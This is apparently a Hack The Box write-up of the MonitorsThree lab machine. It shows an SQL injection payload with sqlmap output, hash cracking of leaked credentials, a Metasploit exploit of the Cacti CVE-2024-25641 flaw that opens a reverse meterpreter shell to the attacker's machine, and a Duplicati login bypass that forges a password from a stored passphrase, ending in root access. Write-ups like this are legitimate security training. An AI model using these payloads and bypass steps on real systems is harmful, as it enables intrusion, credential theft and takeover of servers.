Page cover

MonitorsThree

Synopsis

MonitorsThree is a medium linux machine created by ruycr4ft and kavigihan. The http service hosts the monitorsthree.htb domain. The vhost cacti.monitorsthree.htb uses the cacti version 1.2.26 which is vulnerable to CVE-2024-25641 arbitrary file write vulnerability. The domain has forget-password.php which is vulnerable to sql injection and the cacti login credentials is gained. CVE-2024-25641 is exploited using the gained credentials which gives us a shell as www-data. The cacti config file has a mysql crediantials. Logging into the mysql database gives us the marcus user password, we change the user to marcus and fetch the id_rsa for ssh login. The marcus runs the duplicati service in port 8200, we can bypass the duplicati login and exploit to gain the shell as root.

OS
Difficulty
Points
Release Date
Retired Date

Linux

Medium

30

24-08-2024

18-01-2025

OSINT

Previous Machines

The previously released Monitors and MonitorsTwo machinces are vulnerable to sql injection and command injection, the vhost cacti or domain uses the cacti service and the user marcus is present.

https://www.hackthebox.com/machines/monitors

Enumeration

Nmap

Started the nmap scan and found the ssh and http services running.

nmap -Pn -sC -sV --min-rate=500 10.10.11.30 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-13 19:56 EST
Nmap scan report for 10.10.11.30
Host is up (1.9s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE  VERSION
22/tcp   open     ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp   open     http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://monitorsthree.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 55.60 seconds

Add the monitorsthree.htb and cacti.monitorsthree.htb into /etc/hosts file.

Web - monitorsthree.htb

The monitorsthree provides the networking solutions to the businesses.

The login page provides us the login form and forget password form is vulnerable to sql injection. It is also conformed that the user admin is present because the password reset instruction is send successfully. The payload I have used for identifying the sql injection is given below.

admin'OR'1'='1

The syntax error conforms that the database is MariaDB database.

Web - cacti.monitorsthree.htb

The vhost cacti is present and it is using cacti version 1.2.26 which is vulnerable to CVE-2024-25641 and can be exploited using metasploit once we get the cacti login credentials.

Exploit

SQL Injection - forget-password

The sql injection found in domain is exploited using sqlmap for gaining cacti login credentials.

  • Intercept the forget password request using burpsuite.

  • Copy and paste the request into the file.

sqlmap -r request.txt --batch --dbs 
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.8.12#stable}
|_ -| . [,]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 07:40:43 /2025-01-14/

[07:40:43] [INFO] parsing HTTP request from 'request.txt'
[07:40:43] [INFO] testing connection to the target URL
got a 302 redirect to 'http://monitorsthree.htb/forgot_password.php'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
[07:40:55] [INFO] testing if the target URL content is stable
[07:41:04] [WARNING] POST parameter 'username' does not appear to be dynamic
[07:41:14] [WARNING] heuristic (basic) test shows that POST parameter 'username' might not be injectable
[07:41:23] [INFO] testing for SQL injection on POST parameter 'username'
[07:41:23] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[07:42:00] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[07:42:10] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[07:42:56] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[07:43:37] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[07:44:21] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[07:45:10] [INFO] testing 'Generic inline queries'
[07:45:19] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[07:45:19] [WARNING] time-based comparison requires larger statistical model, please wait. (done)                                                                           
[07:45:25] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
[07:46:05] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[07:46:50] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[07:47:21] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[07:49:04] [INFO] POST parameter 'username' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[07:49:04] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[07:49:04] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[07:51:53] [INFO] checking if the injection point on POST parameter 'username' is a false positive
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 73 HTTP(s) requests:
---
Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=admin' AND (SELECT 8237 FROM (SELECT(SLEEP(5)))WsJa) AND 'uTpu'='uTpu
---
[07:53:45] [INFO] the back-end DBMS is MySQL
[07:53:45] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[07:54:15] [INFO] fetching database names
[07:54:15] [INFO] fetching number of databases
[07:54:15] [INFO] retrieved: 2
[07:55:49] [INFO] retrieved: information_schema
[08:34:47] [INFO] retrieved: monit
[08:49:33] [ERROR] invalid character detected. retrying..
orsthree_db
available databases [2]:
[*] information_schema
[*] monitorsthree_db

[09:13:10] [INFO] fetched data logged to text files under '/home/dexter/.local/share/sqlmap/output/monitorsthree.htb'

[*] ending @ 09:13:10 /2025-01-14/

I have termited the sqlmap during user dumping when I have extracted the admin hash.

The admin hash is crack-able using hashcat and rockyou.txt. It gives us the credentials for cacti.

hashcat -a 0 -m 0 31a181c8372e3afc59dab863430610e8 /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 3.1+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: pthread-haswell-AMD Ryzen 3 7320U with Radeon Graphics, 2553/5170 MB (1024 MB allocatable), 8MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 2 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

31a181c8372e3afc59dab863430610e8:greencacti2001           
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Hash.Target......: 31a181c8372e3afc59dab863430610e8
Time.Started.....: Wed Jan 15 04:37:07 2025 (2 secs)
Time.Estimated...: Wed Jan 15 04:37:09 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  5462.9 kH/s (0.11ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 7786496/14344385 (54.28%)
Rejected.........: 0/7786496 (0.00%)
Restore.Point....: 7782400/14344385 (54.25%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: grega1987tomazin -> green3484
Hardware.Mon.#1..: Temp: 57c Util: 32%

Started: Wed Jan 15 04:37:06 2025
Stopped: Wed Jan 15 04:37:10 2025

The crediantials for cacti is admin:greencacti2001

Foothold

Shell - www-data

The gained crediantials can be used for CVE-2024-25641 vulnerability. Use the metasploit for exploiting the vulnerability. The more details about the CVE is found here.

LogoCVE-2024-25641 : Cacti provides an operational monitoring and fault management framework. Prior tcvedetails
sudo msfdb run
[sudo] password for dexter: 

[msf](Jobs:0 Agents:0) >> use exploit/multi/http/cacti_package_import_rce
[*] Using configured payload php/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/http/cacti_package_import_rce) >> show options

Module options (exploit/multi/http/cacti_package_import_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   admin            yes       Password to login with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /cacti           yes       The base URI of Cacti
   USERNAME   admin            yes       User to login with
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   PHP



View the full module info with the info, or info -d command.

[msf](Jobs:0 Agents:0) exploit(multi/http/cacti_package_import_rce) >> set PASSWORD greencacti2001
PASSWORD => greencacti2001
[msf](Jobs:0 Agents:0) exploit(multi/http/cacti_package_import_rce) >> set RHOSTS tun0
RHOSTS => tun0
[msf](Jobs:0 Agents:0) exploit(multi/http/cacti_package_import_rce) >> set RHOSTS 10.10.11.30
RHOSTS => 10.10.11.30
[msf](Jobs:0 Agents:0) exploit(multi/http/cacti_package_import_rce) >> set LHOST tun0
LHOST => 10.10.16.17
[msf](Jobs:0 Agents:0) exploit(multi/http/cacti_package_import_rce) >> set LPORT 8443
LPORT => 8443
[msf](Jobs:0 Agents:0) exploit(multi/http/cacti_package_import_rce) >> set VHOST cacti.monitorsthree.htb
VHOST => cacti.monitorsthree.htb
[msf](Jobs:0 Agents:0) exploit(multi/http/cacti_package_import_rce) >> exploit
[*] Started reverse TCP handler on 10.10.16.17:8443 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking Cacti version
[+] The web server is running Cacti version 1.2.26
[*] Attempting login with user `admin` and password `greencacti2001`
[+] Logged in
[*] Checking permissions to access `package_import.php`
[+] The target appears to be vulnerable.
[*] Uploading the package
[*] Triggering the payload
[*] Sending stage (40004 bytes) to 10.10.11.30
[+] Deleted /var/www/html/cacti/resource/WjGjZHBPj.php
[*] Meterpreter session 1 opened (10.10.16.17:8443 -> 10.10.11.30:46276) at 2025-01-14 20:47:43 -0500

(Meterpreter 1)(/var/www/html/cacti/resource) >

Privilege Escalation

Pillaging - www-data [user]

The www-data has a cacti config file which contains the password for mysql and the auth_user table contains the user marcus hash which is crackable using rockyou.txt wordlist.

(Meterpreter 1)(/var/www/html/cacti/resource) > cd ../include
(Meterpreter 1)(/var/www/html/cacti/include) > cat config.php
----- SNIP -----
$database_type     = 'mysql';
$database_default  = 'cacti';
$database_hostname = 'localhost';
$database_username = 'cactiuser';
$database_password = 'cactiuser';
$database_port     = '3306';
$database_retries  = 5;
$database_ssl      = false;
$database_ssl_key  = '';
$database_ssl_cert = '';
$database_ssl_ca   = '';
$database_persist  = false;
----- SNIP -----
(Meterpreter 1)(/var/www/html/cacti/include) > shell
Process 15797 created.
Channel 0 created.
python3 -c 'import pty;pty.spawn("/bin/bash")'

Shell - marcus

Crack the hash using the hashcat.

hashcat -a 0 -m 3200 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 3.1+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: pthread-haswell-AMD Ryzen 3 7320U with Radeon Graphics, 2553/5170 MB (1024 MB allocatable), 8MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 72

Hashes: 3 digests; 3 unique digests, 3 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 0 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

Cracking performance lower than expected?                 

* Append -w 3 to the commandline.
  This can cause your screen to lag.

* Append -S to the commandline.
  This has a drastic speed impact but can be better for specific attacks.
  Typical scenarios are a small wordlist but a large ruleset.

* Update your backend API runtime / driver the right way:
  https://hashcat.net/faq/wrongdriver

* Create more work items to make use of your parallelization power:
  https://hashcat.net/faq/morework

$2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK:12345678910
[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit => s

Session..........: hashcat
Status...........: Running
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: hash
Time.Started.....: Tue Jan 14 22:34:55 2025 (6 mins, 4 secs)
Time.Estimated...: Fri Jan 17 09:02:00 2025 (2 days, 10 hours)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:      136 H/s (7.20ms) @ Accel:8 Loops:16 Thr:1 Vec:1
Recovered........: 1/3 (33.33%) Digests (total), 1/3 (33.33%) Digests (new), 1/3 (33.33%) Salts
Progress.........: 73792/43033155 (0.17%)
Rejected.........: 0/73792 (0.00%)
Restore.Point....: 24576/14344385 (0.17%)
Restore.Sub.#1...: Salt:1 Amplifier:0-1 Iteration:256-272
Candidate.Engine.: Device Generator
Candidates.#1....: 280690 -> 020693
Hardware.Mon.#1..: Temp: 85c Util: 92%

[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit => q

                                                          
Session..........: hashcat
Status...........: Quit
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: hash
Time.Started.....: Tue Jan 14 22:34:55 2025 (6 mins, 27 secs)
Time.Estimated...: Fri Jan 17 08:56:25 2025 (2 days, 10 hours)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:      137 H/s (7.10ms) @ Accel:8 Loops:16 Thr:1 Vec:1
Recovered........: 1/3 (33.33%) Digests (total), 1/3 (33.33%) Digests (new), 1/3 (33.33%) Salts
Progress.........: 78656/43033155 (0.18%)
Rejected.........: 0/78656 (0.00%)
Restore.Point....: 26176/14344385 (0.18%)
Restore.Sub.#1...: Salt:2 Amplifier:0-1 Iteration:640-656
Candidate.Engine.: Device Generator
Candidates.#1....: 241987 -> 100785
Hardware.Mon.#1..: Temp: 85c Util: 94%

Started: Tue Jan 14 22:34:14 2025
Stopped: Tue Jan 14 22:41:23 2025

The password cannot be used for ssh login as marcus but we can change the user to marcus using the su from the previously gained shell and copy the id_rsa file to ssh into it.

ssh marcus@10.10.11.30
The authenticity of host '10.10.11.30 (10.10.11.30)' can't be established.
ED25519 key fingerprint is SHA256:1llzaKeglum8R0dawipiv9mSGU33yzoUW3frO9MAF6U.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.30' (ED25519) to the list of known hosts.
marcus@10.10.11.30: Permission denied (publickey).

Copy and paste the id_rsa into local machine file and change the permissions.

chmod 600 id_rsa

ssh -i id_rsa marcus@10.10.11.30
Last login: Tue Aug 20 11:34:00 2024
marcus@monitorsthree:~$

The user.txt file contains the user flag 👏

Pillaging - marcus [user]

The marcus user is running the duplicati service in port 8200.

Duplicati is a free, open-source backup client that securely stores encrypted, incremental, and compressed backups on cloud storage services and remote file servers.

marcus@monitorsthree:~$ netstat -tlnp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:8084            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:44967         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8200          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -  

marcus@monitorsthree:~$ wget http://127.0.0.1:8200
--2025-01-15 03:50:11--  http://127.0.0.1:8200/
Connecting to 127.0.0.1:8200... connected.
HTTP request sent, awaiting response... 302 Redirect
Location: /login.html [following]
--2025-01-15 03:50:11--  http://127.0.0.1:8200/login.html
Reusing existing connection to 127.0.0.1:8200.
HTTP request sent, awaiting response... 200 OK
Length: 1239 (1.2K) [text/html]
Saving to: ‘index.html’

index.html                                  100%[========================================================================================>]   1.21K  --.-KB/s    in 0.04s   

2025-01-15 03:50:11 (30.0 KB/s) - ‘index.html’ saved [1239/1239]

marcus@monitorsthree:~$ cat index.html
<!doctype html>
<html>
<head>
    <meta charset="utf-8">
      <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    
    <title>Duplicati Login</title>
    
    <script type="text/javascript" src="login/jquery-2.0.3.min.js"></script>
    <script type="text/javascript" src="login/cryptojs.js"></script>
    <script type="text/javascript" src="login/login.js?v=2.0.8.1"></script>
    <link rel="stylesheet" type="text/css" href="login/login.css?v=2.0.8.1" />

    <script type="text/javascript" src="oem/root/login/oem.js?v=2.0.8.1" ></script>
    <link rel="stylesheet" type="text/css" href="oem/root/login/oem.css?v=2.0.8.1" />
</head>

<body>
    <div id="login">
        <h2>Duplicati</h2>
        <form method="POST">
            <fieldset>

                <p><label for="login-password">Password</label></p>
                <p><input type="password" id="login-password" value="password" onBlur="if(this.value=='')this.value='password'" onFocus="if(this.value=='password')this.value=''" autofocus></p> <!-- JS because of IE support; better: placeholder="password" -->

                <p><input type="submit" id="login-button" value="Sign In"></p>

            </fieldset>
        </form>
    </div>
</body>    
</html>

Searching the duplicti folder leads us to config folder which contains the Duplaciti-server.sqlite file.

marcus@monitorsthree:~$ cd /
marcus@monitorsthree:/$ find -type d -name duplicati 2>/dev/null
./opt/duplicati
marcus@monitorsthree:/$ cd /opt/duplicati
marcus@monitorsthree:/opt/duplicati$ ls
config
marcus@monitorsthree:/opt/duplicati$ cd config
marcus@monitorsthree:/opt/duplicati/config$ ls
control_dir_v2  CTADPNHLTC.sqlite  Duplicati-server.sqlite
marcus@monitorsthree:/opt/duplicati/config$

Downloading the Duplicati-server.sqlite using scp and enumearting it using sqlite3.

scp -i id_rsa marcus@10.10.11.30:/opt/duplicati/config/Duplicati-server.sqlite .
sqlite3 Duplicati-server.sqlite
SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.
sqlite> .tables
Backup        Log           Option        TempFile    
ErrorLog      Metadata      Schedule      UIStorage   
Filter        Notification  Source        Version

Exploit - Duplicati Login Authentication Bypass with server-passphrase

The duplicati is vulnerable to login authentication using server-passphrase. The below post shows us the PoC for duplicati login bypass using server-passphrase.

LogoDuplicati: Bypassing Login Authentication With Server-passphraseMedium

  • Port Forward the 8200 port via ssh.

ssh -i id_rsa -L 8200:localhost:8200 marcus@10.10.11.30

  • The Duplicati-server.sqlite contains the server-passphare in Option table.

sqlite> SELECT * FROM Option;
4||encryption-module|
4||compression-module|zip
4||dblock-size|50mb
4||--no-encryption|true
-1||--asynchronous-upload-limit|50
-1||--asynchronous-concurrent-upload-limit|50
-2||startup-delay|0s
-2||max-download-speed|
-2||max-upload-speed|
-2||thread-priority|
-2||last-webserver-port|8200
-2||is-first-run|
-2||server-port-changed|True
-2||server-passphrase|Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=
-2||server-passphrase-salt|xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=
-2||server-passphrase-trayicon|5e7d1ded-124e-4139-af7b-1b4b40026a0f
-2||server-passphrase-trayicon-hash|yU1y7roWxv5XAV8DzSRBJLC47Re67GycGbvuqn2XDvo=
-2||last-update-check|638724745250801590
-2||update-check-interval|
-2||update-check-latest|
-2||unacked-error|False
-2||unacked-warning|False
-2||server-listen-interface|any
-2||server-ssl-certificate|
-2||has-fixed-invalid-backup-id|True
-2||update-channel|
-2||usage-reporter-level|
-2||has-asked-for-password-protection|true
-2||disable-tray-icon-login|false
-2||allowed-hostnames|*
sqlite>

  • The login.js has a login logic. It can be used to craft the password and authenticate our-self.

var saltedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Utf8.parse($('#login-password').val()) + CryptoJS.enc.Base64.parse(data.Salt)));
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse(data.Nonce) + saltedpwd)).toString(CryptoJS.enc.Base64);

The salt value is converted into base64 and then into hexdecimal.

  • Intercept the duplicati login request using burpsuite. Don't forward the login.cgi POST request with password parameter and get the nounce. The salt also matches with the duplicati database.

  • Convert the server-passphrase value into base64 and then into hexadecimal.

echo Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho= | base64 -d | xxd -p -c 128
59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a

  • Once we get the above hex we can generate the valid password using above hex and nounce.

  • Open the dev-tool console and paste the below code.

var saltedpwd = '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a'; 
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('FDes7AvOEeG0FvjYjZRI2Cn0NojhpthKsIuxvsbzF+I=') + saltedpwd)).toString(CryptoJS.enc.Base64);
console.log(noncedpwd);

  • Copy the printed string in console and paste it into password paramater. URL encode the password by pressing Ctrl + U then forward the request.

  • If successful we will get the duplicati index page or we will get the authentication fail alter.

Shell - root

The accessed duplicati can be used to copy the content of the system and restore it into marcus home directory or vice-versa. I tried backing up the id_rsa of root user but it was not present. The marcus has a authorized_keys file in /home/marcus/.ssh directory which we can backup and restore it into /root/.ssh directory and we can ssh into root from marus.

  • Create the backup of authorized_keys and restore it into the /root/.ssh directory.

Creating Backup
Restoring backup
marcus@monitorsthree:~$ ssh root@10.10.11.30
The authenticity of host '10.10.11.30 (10.10.11.30)' can't be established.
ED25519 key fingerprint is SHA256:1llzaKeglum8R0dawipiv9mSGU33yzoUW3frO9MAF6U.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.30' (ED25519) to the list of known hosts.
Last login: Tue Aug 20 15:21:21 2024
root@monitorsthree:~#

The root.txt file contains the root flag 🎉

Proof of Concept

The below video provides the PoC of MonitorsThree machine.

PreviousCaptionNextSightless

Last updated